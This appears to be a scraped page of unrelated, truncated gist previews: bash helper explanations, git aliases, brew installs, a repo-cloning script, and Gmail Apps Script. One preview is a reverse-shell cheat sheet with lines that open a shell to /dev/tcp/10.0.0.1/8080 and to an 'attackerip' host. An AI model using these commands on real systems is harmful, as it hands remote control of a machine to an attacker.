- yell: print the script name and all arguments to stderr:
$0
is the path to the script$*
are all arguments.>&2
means > redirect stdout to & pipe2
. pipe1
would bestdout
itself.
- die does the same as
yell
, but exits with a non-0 exit status, which means "fail". - try uses the
||
(booleanOR
), which only evaluates the right side if the left one didn’t fail.$@
is all arguments again, but different.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#bash | |
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 | |
#bash alt | |
exec /bin/bash 0&0 2>&0 | |
#bash alt 2 | |
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 | |
#bash alt 3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
curl -X POST -u user:pass \ | |
-H "Content-Type: application/binary" \ | |
--data-binary @file.dat \ | |
"https://domain.com/api/v2/uploads.json?filename=myfile.dat" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Working with branches | |
# | |
# Get the current branch name (not so useful in itself, but used in | |
# other aliases) | |
branch-name = "!git rev-parse --abbrev-ref HEAD" | |
# Push the current branch to the remote "origin", and set it to track | |
# the upstream branch | |
publish = "!git push -u origin $(git branch-name)" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
OAUTH_TOKEN=abcdefghijklmnopqrstuvqxyz1234567890 | |
ORGANISATION=SomeGithubOrganisation | |
for repo in $(curl -sSL -H "Authorization: token $OAUTH_TOKEN" \ | |
https://api.github.com/orgs/$ORGAN_NAME/repos \ | |
|jq -r '.[] .ssh_url') ; do | |
git clone $repo | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
brew install android-platform-tools | |
brew install ansible | |
brew install aria2 | |
brew install awscli | |
brew install bash | |
brew install bash-completion | |
brew install binutils | |
brew install cairo | |
brew install coreutils |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!/usr/bin/env bash -ue | |
## Fetches declared assets from a URL | |
## Usage: fetch pdf jpg http://f.javier.io/rep/papers | |
function fetch () | |
{ | |
types=$(echo ${*%${!#}} |xargs) | |
types="${types// /,}" ; [ -z "${types##*,*}" ] && types="{$types}" #is multi? | |
wget -r -A.${types} ${@:$#} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
aopts() { env - sh -s -- "$@" | |
} <<OPTCASE 3<<\OPTSCRIPT | |
acase() case "\$a" in $(fmt=' | |
(%s) f=%s; aset "?$(($f)):";;\n' | |
for a do case "$a" in (--) break;; | |
(--*[!_[:alnum:]]*) continue;; | |
(--*) printf "$fmt" "$a" "${a#--}";; | |
esac;done;printf "$fmt" '--*' ignored) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function GmailAppRegexpSearch () | |
{ | |
var sheet = SpreadsheetApp.getActiveSheet(); | |
var row = 2; | |
// Clear existing search results | |
sheet.getRange(2, 1, sheet.getMaxRows() - 1, 4).clearContent(); | |
// Which Gmail Label should be searched? | |
var label = sheet.getRange("F3").getValue(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash -ue | |
# Usage : ffd BINARY_CMD | |
# Example: if ffd $(declare |grep -m1 '\s()' |awk '{print$1}') ; then .... | |
function ffd () | |
{ | |
declare -f "$1" >/dev/null && echo || ! echo | |
} | |
# Usage : vcomps MIN CURRENT MAX |